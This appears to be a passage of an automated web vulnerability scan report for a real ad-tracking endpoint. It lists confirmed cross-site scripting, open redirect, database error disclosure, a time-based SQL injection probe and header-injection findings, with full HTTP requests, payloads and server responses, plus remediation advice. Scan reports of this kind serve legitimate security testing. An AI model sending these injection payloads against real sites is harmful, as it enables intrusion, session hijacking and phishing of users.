GET
|
http://ar.voicefive.com/b/recruitBeacon.pli?pid=p84532700&PRAd=47146&AR_C=34917
|
Request
GET /Tracking/V2/BannerCreative/Impression/?siteId=1860&syndicationOutletId=47146&campaignId='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000015)%3C/script%3E&adRotationId=15121&bannerCreativeAdModuleId=21152&redirect=http://ar.voicefive.com/b/recruitBeacon.pli%3fpid%3dp84532700%26PRAd%3d47146%26AR_C%3d34917 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: trk.vindicosuite.com
Cookie: ASPSESSIONIDSATQDCAA=HAEFFNMCMJMNBGLFPCIMFCKA; ASPSESSIONIDQCCDATDD=HCIAMANCJKIDALJBIIMFHMFL; ASPSESSIONIDASRADQQC=AIAIOFNCDGHGFBLIHPMDNBFM; ASPSESSIONIDCQCDBSCB=NNBIIOMCFMDFKLFGKDIDOGHH; ASPSESSIONIDCSQRRDDD=CGAEEANCPEJGHEJMKNOHKMCI; ASPSESSIONIDCQCBDRCC=KLOHEANCDFMPHMOLJNCJHINC; ASPSESSIONIDQAAADSBA=FPPOFANCAJCJGNDFGILIHEFK; ASPSESSIONIDSCSRCAAA=NIJCGKMCAMNMKJDLENCACPCP; ASPSESSIONIDCAADQSTC=EAMIOFNCJJPDOAMKEIPBJLNM; ASPSESSIONIDCARBCQCA=PAFHEOMCKJGNAEGAKBCIDNBK; ASPSESSIONIDSCTBDRTA=ELKFIOMCCCENOENODFIDDLMF; ASPSESSIONIDQARQBACA=GKJIEOMCLNELMAABLDEIENKB; ASPSESSIONIDSCCQQTSD=APKLOFNCLAFOPKJFNEJAMJJC; ASPSESSIONIDSQSTQBAA=KIDMLANCCFOIIBOBBPPMCGKL; ASPSESSIONIDSQSQRBBB=KIKILANCENFCOOMHKAEDKGKB; ASPSESSIONIDCSCAASBD=HGJHEBNCOFJIAKGHEHOHCPOM; ASPSESSIONIDQCSSCCBA=LKIKNNMCEBADMPJOBEGNKBBI; ASPSESSIONIDAQRDQQSA=BPPNIFNCJJMPFAEIGAEELOLP; ASPSESSIONIDACBASSRC=HAFAOFNCMAFHPBAOEPKFFAMB; ASPSESSIONIDCQSSSADD=MJCJBCNCKPECIMPFGMOMLIMD
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Date: Sat, 12 Feb 2011 20:16:10 GMT
Expires: Sat, 12 Feb 2011 20:16:10 GMT
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Content-Length: 692
Connection: keep-alive
<br>Error Description:Incorrect syntax near '173.193'.<br>SQL:[Track_BannerCreativeImpression_V.1] @siteId = 1860, @bannerCreativeAdModuleId = 21152, @campaignId = '"--></style></script><script>netsparker(0x000015)</script>, @syndicationOutletId = 47146, @adrotationId = 15121, @ipAddress = '173.193.214.243', @sessionId = '755803123', @pixel = '0', @ipNumber = '2915161843', @referer = 'undefined', @browserName = 'IE', @browserVersion = '6.0', @domain = 'undefined', @operatingSystem = 'Windows', @operatingSystemVersion = 'Windows', @userAgent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)', @segment = 'undefined'<br>Local Req By:undefined<br>Ref:undefined
- /Tracking/V2/BannerCreative/Impression/
/Tracking/V2/BannerCreative/Impression/
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
siteId
|
GET
|
1860
|
syndicationOutletId
|
GET
|
47146
|
campaignId
|
GET
|
6330
|
adRotationId
|
GET
|
'"--></style></script><script>alert(0x000016)</script>
|
bannerCreativeAdModuleId
|
GET
|
21152
|
redirect
|
GET
|
http://ar.voicefive.com/b/recruitBeacon.pli?pid=p84532700&PRAd=47146&AR_C=34917
|
Request
GET /Tracking/V2/BannerCreative/Impression/?siteId=1860&syndicationOutletId=47146&campaignId=6330&adRotationId='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000016)%3C/script%3E&bannerCreativeAdModuleId=21152&redirect=http://ar.voicefive.com/b/recruitBeacon.pli%3fpid%3dp84532700%26PRAd%3d47146%26AR_C%3d34917 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: trk.vindicosuite.com
Cookie: ASPSESSIONIDSATQDCAA=HAEFFNMCMJMNBGLFPCIMFCKA; ASPSESSIONIDQCCDATDD=HCIAMANCJKIDALJBIIMFHMFL; ASPSESSIONIDASRADQQC=AIAIOFNCDGHGFBLIHPMDNBFM; ASPSESSIONIDCQCDBSCB=NNBIIOMCFMDFKLFGKDIDOGHH; ASPSESSIONIDCSQRRDDD=CGAEEANCPEJGHEJMKNOHKMCI; ASPSESSIONIDCQCBDRCC=KLOHEANCDFMPHMOLJNCJHINC; ASPSESSIONIDQAAADSBA=FPPOFANCAJCJGNDFGILIHEFK; ASPSESSIONIDSCSRCAAA=NIJCGKMCAMNMKJDLENCACPCP; ASPSESSIONIDCAADQSTC=EAMIOFNCJJPDOAMKEIPBJLNM; ASPSESSIONIDCARBCQCA=PAFHEOMCKJGNAEGAKBCIDNBK; ASPSESSIONIDSCTBDRTA=ELKFIOMCCCENOENODFIDDLMF; ASPSESSIONIDQARQBACA=GKJIEOMCLNELMAABLDEIENKB; ASPSESSIONIDSCCQQTSD=APKLOFNCLAFOPKJFNEJAMJJC; ASPSESSIONIDSQSTQBAA=KIDMLANCCFOIIBOBBPPMCGKL; ASPSESSIONIDSQSQRBBB=KIKILANCENFCOOMHKAEDKGKB; ASPSESSIONIDCSCAASBD=HGJHEBNCOFJIAKGHEHOHCPOM; ASPSESSIONIDQCSSCCBA=LKIKNNMCEBADMPJOBEGNKBBI; ASPSESSIONIDAQRDQQSA=BPPNIFNCJJMPFAEIGAEELOLP; ASPSESSIONIDACBASSRC=HAFAOFNCMAFHPBAOEPKFFAMB; ASPSESSIONIDCQSSSADD=MJCJBCNCKPECIMPFGMOMLIMD
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Date: Sat, 12 Feb 2011 20:16:09 GMT
Expires: Sat, 12 Feb 2011 20:16:10 GMT
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Content-Length: 691
Connection: keep-alive
<br>Error Description:Incorrect syntax near '173.193'.<br>SQL:[Track_BannerCreativeImpression_V.1] @siteId = 1860, @bannerCreativeAdModuleId = 21152, @campaignId = 6330, @syndicationOutletId = 47146, @adrotationId = '"--></style></script><script>netsparker(0x000016)</script>, @ipAddress = '173.193.214.243', @sessionId = '761221388', @pixel = '0', @ipNumber = '2915161843', @referer = 'undefined', @browserName = 'IE', @browserVersion = '6.0', @domain = 'undefined', @operatingSystem = 'Windows', @operatingSystemVersion = 'Windows', @userAgent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)', @segment = 'undefined'<br>Local Req By:undefined<br>Ref:undefined
- /Tracking/V2/BannerCreative/Impression/
/Tracking/V2/BannerCreative/Impression/
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
siteId
|
GET
|
1860
|
syndicationOutletId
|
GET
|
47146
|
campaignId
|
GET
|
6330
|
adRotationId
|
GET
|
15121
|
bannerCreativeAdModuleId
|
GET
|
'"--></style></script><script>alert(0x000017)</script>
|
redirect
|
GET
|
http://ar.voicefive.com/b/recruitBeacon.pli?pid=p84532700&PRAd=47146&AR_C=34917
|
Request
GET /Tracking/V2/BannerCreative/Impression/?siteId=1860&syndicationOutletId=47146&campaignId=6330&adRotationId=15121&bannerCreativeAdModuleId='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000017)%3C/script%3E&redirect=http://ar.voicefive.com/b/recruitBeacon.pli%3fpid%3dp84532700%26PRAd%3d47146%26AR_C%3d34917 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: trk.vindicosuite.com
Cookie: ASPSESSIONIDSATQDCAA=HAEFFNMCMJMNBGLFPCIMFCKA; ASPSESSIONIDQCCDATDD=HCIAMANCJKIDALJBIIMFHMFL; ASPSESSIONIDASRADQQC=AIAIOFNCDGHGFBLIHPMDNBFM; ASPSESSIONIDCQCDBSCB=NNBIIOMCFMDFKLFGKDIDOGHH; ASPSESSIONIDCSQRRDDD=CGAEEANCPEJGHEJMKNOHKMCI; ASPSESSIONIDCQCBDRCC=KLOHEANCDFMPHMOLJNCJHINC; ASPSESSIONIDQAAADSBA=FPPOFANCAJCJGNDFGILIHEFK; ASPSESSIONIDSCSRCAAA=NIJCGKMCAMNMKJDLENCACPCP; ASPSESSIONIDCAADQSTC=EAMIOFNCJJPDOAMKEIPBJLNM; ASPSESSIONIDCARBCQCA=PAFHEOMCKJGNAEGAKBCIDNBK; ASPSESSIONIDSCTBDRTA=ELKFIOMCCCENOENODFIDDLMF; ASPSESSIONIDQARQBACA=GKJIEOMCLNELMAABLDEIENKB; ASPSESSIONIDSCCQQTSD=APKLOFNCLAFOPKJFNEJAMJJC; ASPSESSIONIDSQSTQBAA=KIDMLANCCFOIIBOBBPPMCGKL; ASPSESSIONIDSQSQRBBB=KIKILANCENFCOOMHKAEDKGKB; ASPSESSIONIDCSCAASBD=HGJHEBNCOFJIAKGHEHOHCPOM; ASPSESSIONIDQCSSCCBA=LKIKNNMCEBADMPJOBEGNKBBI; ASPSESSIONIDAQRDQQSA=BPPNIFNCJJMPFAEIGAEELOLP; ASPSESSIONIDACBASSRC=HAFAOFNCMAFHPBAOEPKFFAMB; ASPSESSIONIDCQSSSADD=MJCJBCNCKPECIMPFGMOMLIMD
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Date: Sat, 12 Feb 2011 20:16:15 GMT
Expires: Sat, 12 Feb 2011 20:16:15 GMT
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Content-Length: 691
Connection: keep-alive
<br>Error Description:Incorrect syntax near '173.193'.<br>SQL:[Track_BannerCreativeImpression_V.1] @siteId = 1860, @bannerCreativeAdModuleId = '"--></style></script><script>netsparker(0x000017)</script>, @campaignId = 6330, @syndicationOutletId = 47146, @adrotationId = 15121, @ipAddress = '173.193.214.243', @sessionId = '752219587', @pixel = '0', @ipNumber = '2915161843', @referer = 'undefined', @browserName = 'IE', @browserVersion = '6.0', @domain = 'undefined', @operatingSystem = 'Windows', @operatingSystemVersion = 'Windows', @userAgent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)', @segment = 'undefined'<br>Local Req By:undefined<br>Ref:undefined
Open Redirection
Open Redirection
Open Redirection occurs when vulnerable web page is being redirected to another web page via a user controllable input.
Impact
An attacker can use this vulnerability to redirect users to other malicious web sites which can be used for phishing and similar attacks.
- Where possible do not use users' input for URLs.
- If you definitely need dynamic URLs, Make a list of valid accepted URLs and do not accept other URLs.
- Ensure that you only accept URLs which are located on accepted domains.
External References
- /Tracking/V2/BannerCreative/Impression/
/Tracking/V2/BannerCreative/Impression/
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
siteId
|
GET
|
1860
|
syndicationOutletId
|
GET
|
47146
|
campaignId
|
GET
|
6330
|
adRotationId
|
GET
|
15121
|
bannerCreativeAdModuleId
|
GET
|
21152
|
redirect
|
GET
|
http://www.netsparker.com?
|
Request
GET /Tracking/V2/BannerCreative/Impression/?siteId=1860&syndicationOutletId=47146&campaignId=6330&adRotationId=15121&bannerCreativeAdModuleId=21152&redirect=http://www.netsparker.com? HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: trk.vindicosuite.com
Cookie: ASPSESSIONIDSATQDCAA=HAEFFNMCMJMNBGLFPCIMFCKA; ASPSESSIONIDQCCDATDD=HCIAMANCJKIDALJBIIMFHMFL; ASPSESSIONIDASRADQQC=AIAIOFNCDGHGFBLIHPMDNBFM; ASPSESSIONIDCQCDBSCB=NNBIIOMCFMDFKLFGKDIDOGHH; ASPSESSIONIDCSQRRDDD=CGAEEANCPEJGHEJMKNOHKMCI; ASPSESSIONIDCQCBDRCC=OKOHEANCPKAJIJIGOPEOKLGO; ASPSESSIONIDQAAADSBA=FPPOFANCAJCJGNDFGILIHEFK; ASPSESSIONIDSCSRCAAA=NIJCGKMCAMNMKJDLENCACPCP; ASPSESSIONIDCAADQSTC=EAMIOFNCJJPDOAMKEIPBJLNM; ASPSESSIONIDCARBCQCA=PAFHEOMCKJGNAEGAKBCIDNBK; ASPSESSIONIDSCTBDRTA=ELKFIOMCCCENOENODFIDDLMF; ASPSESSIONIDQARQBACA=GKJIEOMCLNELMAABLDEIENKB; ASPSESSIONIDSCCQQTSD=APKLOFNCLAFOPKJFNEJAMJJC; ASPSESSIONIDSQSTQBAA=KIDMLANCCFOIIBOBBPPMCGKL
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 302 Object moved
Cache-Control: private
Content-Type: text/html
Date: Sat, 12 Feb 2011 20:16:06 GMT
Expires: Sat, 12 Feb 2011 20:16:06 GMT
Location: http://www.netsparker.com?
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Content-Length: 147
Connection: keep-alive
<head><title>Object moved</title></head><body><h1>Object Moved</h1>This object may be found <a HREF="http://www.netsparker.com?">here</a>.</body>
Cookie Not Marked As HttpOnly
Cookie Not Marked As HttpOnly
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..
Impact
During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.
Actions to Take
- See the remedy for solution
- Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.
Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as
XSS Tunnel to bypass HTTPOnly protection.
External References
- /Tracking/V2/BannerCreative/Impression/
/Tracking/V2/BannerCreative/Impression/
CONFIRMED
|
ASPSESSIONIDSATQDCAA
Request
GET /Tracking/V2/BannerCreative/Impression/?siteId=1860&syndicationOutletId=47146&campaignId=6330&adRotationId=15121&bannerCreativeAdModuleId=21152&redirect=http://ar.voicefive.com/b/recruitBeacon.pli%3fpid%3dp84532700%26PRAd%3d47146%26AR_C%3d34917 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: trk.vindicosuite.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 302 Object moved
Cache-Control: private
Content-Type: text/html
Date: Sat, 12 Feb 2011 20:16:04 GMT
Expires: Sat, 12 Feb 2011 20:16:05 GMT
Location: http://ar.voicefive.com/b/recruitBeacon.pli?pid=p84532700&PRAd=47146&AR_C=34917
Server: Microsoft-IIS/7.0
Set-Cookie: ASPSESSIONIDSATQDCAA=HAEFFNMCMJMNBGLFPCIMFCKA; path=/
X-Powered-By: ASP.NET
Content-Length: 208
Connection: keep-alive
<head><title>Object moved</title></head><body><h1>Object Moved</h1>This object may be found <a HREF="http://ar.voicefive.com/b/recruitBeacon.pli?pid=p84532700&PRAd=47146&AR_C=34917">here</a>.</body>
Database Error Message
Database Error Message
Netsparker identified a database error message.
Impact
The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.
Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
- /Tracking/V2/BannerCreative/Impression/
/Tracking/V2/BannerCreative/Impression/
|
Parameters
Parameter
|
Type
|
Value
|
siteId
|
GET
|
ns:netsparker056650=vuln
|
syndicationOutletId
|
GET
|
47146
|
campaignId
|
GET
|
6330
|
adRotationId
|
GET
|
15121
|
bannerCreativeAdModuleId
|
GET
|
21152
|
redirect
|
GET
|
http://ar.voicefive.com/b/recruitBeacon.pli?pid=p84532700&PRAd=47146&AR_C=34917
|
Request
GET /Tracking/V2/BannerCreative/Impression/?siteId=%0D%0Ans:netsparker056650=vuln&syndicationOutletId=47146&campaignId=6330&adRotationId=15121&bannerCreativeAdModuleId=21152&redirect=http://ar.voicefive.com/b/recruitBeacon.pli%3fpid%3dp84532700%26PRAd%3d47146%26AR_C%3d34917 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: trk.vindicosuite.com
Cookie: ASPSESSIONIDSATQDCAA=HAEFFNMCMJMNBGLFPCIMFCKA; ASPSESSIONIDQCCDATDD=HCIAMANCJKIDALJBIIMFHMFL
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Date: Sat, 12 Feb 2011 20:16:04 GMT
Expires: Sat, 12 Feb 2011 20:16:05 GMT
Server: Microsoft-IIS/7.0
Set-Cookie: ASPSESSIONIDCQCBDRCC=OKOHEANCPKAJIJIGOPEOKLGO; path=/
X-Powered-By: ASP.NET
Content-Length: 655
Connection: keep-alive
<br>Error Description:Incorrect syntax near 'ns:'.<br>SQL:[Track_BannerCreativeImpression_V.1] @siteId =
ns:netsparker056650=vuln, @bannerCreativeAdModuleId = 21152, @campaignId = 6330, @syndicationOutletId = 47146, @adrotationId = 15121, @ipAddress = '173.193.214.243', @sessionId = '755310314', @pixel = '0', @ipNumber = '2915161843', @referer = 'undefined', @browserName = 'IE', @browserVersion = '6.0', @domain = 'undefined', @operatingSystem = 'Windows', @operatingSystemVersion = 'Windows', @userAgent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)', @segment = 'undefined'<br>Local Req By:undefined<br>Ref:undefined
Microsoft SQL Server Identified
Microsoft SQL Server Identified
Netsparker identified that the target web site is using Microsoft SQL Server as backend database. This issue is reported for information purposes only.
Impact
This issue is reported as additional information only, there is no direct impact arising from this issue.
- /Tracking/V2/BannerCreative/Impression/
/Tracking/V2/BannerCreative/Impression/
CONFIRMED
|
Request
GET /Tracking/V2/BannerCreative/Impression/?siteId=1;WAITFOR%20DELAY%20%270:0:25%27--&syndicationOutletId=47146&campaignId=6330&adRotationId=15121&bannerCreativeAdModuleId=21152&redirect=http://ar.voicefive.com/b/recruitBeacon.pli%3fpid%3dp84532700%26PRAd%3d47146%26AR_C%3d34917 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: trk.vindicosuite.com
Cookie: ASPSESSIONIDSATQDCAA=HAEFFNMCMJMNBGLFPCIMFCKA; ASPSESSIONIDQCCDATDD=HCIAMANCJKIDALJBIIMFHMFL; ASPSESSIONIDASRADQQC=AIAIOFNCDGHGFBLIHPMDNBFM; ASPSESSIONIDCQCDBSCB=NNBIIOMCFMDFKLFGKDIDOGHH; ASPSESSIONIDCSQRRDDD=CGAEEANCPEJGHEJMKNOHKMCI; ASPSESSIONIDCQCBDRCC=OKOHEANCPKAJIJIGOPEOKLGO; ASPSESSIONIDQAAADSBA=FPPOFANCAJCJGNDFGILIHEFK; ASPSESSIONIDSCSRCAAA=NIJCGKMCAMNMKJDLENCACPCP; ASPSESSIONIDCAADQSTC=EAMIOFNCJJPDOAMKEIPBJLNM
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Date: Sat, 12 Feb 2011 20:16:35 GMT
Expires: Sat, 12 Feb 2011 20:16:10 GMT
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Content-Length: 742
Connection: keep-alive
<br>Error Description:Procedure or function 'Track_BannerCreativeImpression_V.1' expects parameter '@campaignId', which was not supplied.<br>SQL:[Track_BannerCreativeImpression_V.1] @siteId = 1;WAITFOR DELAY '0:0:25'--, @bannerCreativeAdModuleId = 21152, @campaignId = 6330, @syndicationOutletId = 47146, @adrotationId = 15121, @ipAddress = '173.193.214.243', @sessionId = '749130757', @pixel = '0', @ipNumber = '2915161843', @referer = 'undefined', @browserName = 'IE', @browserVersion = '6.0', @domain = 'undefined', @operatingSystem = 'Windows', @operatingSystemVersion = 'Windows', @userAgent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)', @segment = 'undefined'<br>Local Req By:undefined<br>Ref:undefined
IIS Version Disclosure
IIS Version Disclosure
Netsparker identified that the target web server is disclosing the web server's version in the HTTP response. This information can help an attacker to gain a greater understanding of the system in use and potentially develop further attacks targeted at the specific web server version.
Impact
An attacker can look for specific security vulnerabilities for the version identified through the SERVER header information.
Configure your web server to prevent information leakage from the SERVER
header of its HTTP response.
- /Tracking/V2/BannerCreative/Impression/
/Tracking/V2/BannerCreative/Impression/
|
Microsoft-IIS/7.0
Request
GET /Tracking/V2/BannerCreative/Impression/?siteId=1860&syndicationOutletId=47146&campaignId=6330&adRotationId=15121&bannerCreativeAdModuleId=21152&redirect=http://ar.voicefive.com/b/recruitBeacon.pli%3fpid%3dp84532700%26PRAd%3d47146%26AR_C%3d34917 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: trk.vindicosuite.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 302 Object moved
Cache-Control: private
Content-Type: text/html
Date: Sat, 12 Feb 2011 20:16:04 GMT
Expires: Sat, 12 Feb 2011 20:16:05 GMT
Location: http://ar.voicefive.com/b/recruitBeacon.pli?pid=p84532700&PRAd=47146&AR_C=34917
Server: Microsoft-IIS/7.0
Set-Cookie: ASPSESSIONIDSATQDCAA=HAEFFNMCMJMNBGLFPCIMFCKA; path=/
X-Powered-By: ASP.NET
Content-Length: 208
Connection: keep-alive
<head><title>Object moved</title></head><body><h1>Object Moved</h1>This object may be found <a HREF="http://ar.voicefive.com/b/recruitBeacon.pli?pid=p84532700&PRAd=47146&AR_C=34917">here</a>.</body>